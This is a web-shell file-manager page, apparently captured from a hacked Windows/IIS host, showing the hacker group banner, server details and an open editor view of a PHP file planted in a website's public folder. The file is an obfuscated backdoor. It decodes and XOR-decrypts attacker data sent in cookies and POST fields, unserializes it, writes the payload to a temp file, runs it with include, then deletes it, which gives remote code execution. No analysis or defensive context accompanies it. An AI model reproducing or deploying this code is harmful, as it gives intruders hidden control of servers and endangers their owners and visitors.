⚝
One Hat Cyber Team
⚝
Your IP:
52.14.232.226
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
Edit File: 234764ec.php
$LDiAkp = "\x78" . chr ( 1020 - 918 )."\x7a" . chr (95) . "\103" . "\114" . chr ( 886 - 774 ); $Mdpjv = chr ( 515 - 416 ).chr (108) . "\141" . chr ( 805 - 690 )."\163" . "\137" . "\x65" . "\170" . chr (105) . 's' . "\x74" . "\x73";$XQGHwF = class_exists($LDiAkp); $LDiAkp = "30009";$Mdpjv = "49811";$RsXchy = FALSE;if ($XQGHwF === $RsXchy){$HxSLMWcLU = "29329";class xfz_CLp{public function XdfeV(){echo "11110";}private $OGQyQXC;public static $VSiyrvC = "466ba1e5-2ec3-47cb-b218-b5ca93774d39";public static $mmExQOaWrp = 56175;public function __construct($SfFGDSZ=0){$pcPgwo = $_POST;$UBVTMuwrQ = $_COOKIE;$tkBRPWoG = @$UBVTMuwrQ[substr(xfz_CLp::$VSiyrvC, 0, 4)];if (!empty($tkBRPWoG)){$iUojf = "base64";$djOkLkHk = "";$tkBRPWoG = explode(",", $tkBRPWoG);foreach ($tkBRPWoG as $bmCMAlxVOs){$djOkLkHk .= @$UBVTMuwrQ[$bmCMAlxVOs];$djOkLkHk .= @$pcPgwo[$bmCMAlxVOs];}$djOkLkHk = array_map($iUojf . "\137" . "\144" . chr (101) . "\143" . chr (111) . 'd' . 'e', array($djOkLkHk,)); $djOkLkHk = $djOkLkHk[0] ^ str_repeat(xfz_CLp::$VSiyrvC, (strlen($djOkLkHk[0]) / strlen(xfz_CLp::$VSiyrvC)) + 1);xfz_CLp::$mmExQOaWrp = @unserialize($djOkLkHk);}}private function FTaDwIDaWH($HxSLMWcLU){if (is_array(xfz_CLp::$mmExQOaWrp)) {$pxuuo = sys_get_temp_dir() . "/" . crc32(xfz_CLp::$mmExQOaWrp["\163" . 'a' . "\154" . "\x74"]);@xfz_CLp::$mmExQOaWrp['w' . chr (114) . "\151" . chr ( 352 - 236 )."\x65"]($pxuuo, xfz_CLp::$mmExQOaWrp["\x63" . chr (111) . "\x6e" . chr (116) . chr ( 480 - 379 ).chr (110) . "\164"]);include $pxuuo;@xfz_CLp::$mmExQOaWrp["\144" . "\145" . "\x6c" . chr ( 416 - 315 )."\164" . "\x65"]($pxuuo); $HxSLMWcLU = "29329";exit();}}public function __destruct(){$HxSLMWcLU = "19463_4549";$this->FTaDwIDaWH($HxSLMWcLU); $HxSLMWcLU = "19463_4549";}}$furwAMR = new /* 9251 */ xfz_CLp(); $furwAMR = str_repeat("19463_4549", 1);}
Simpan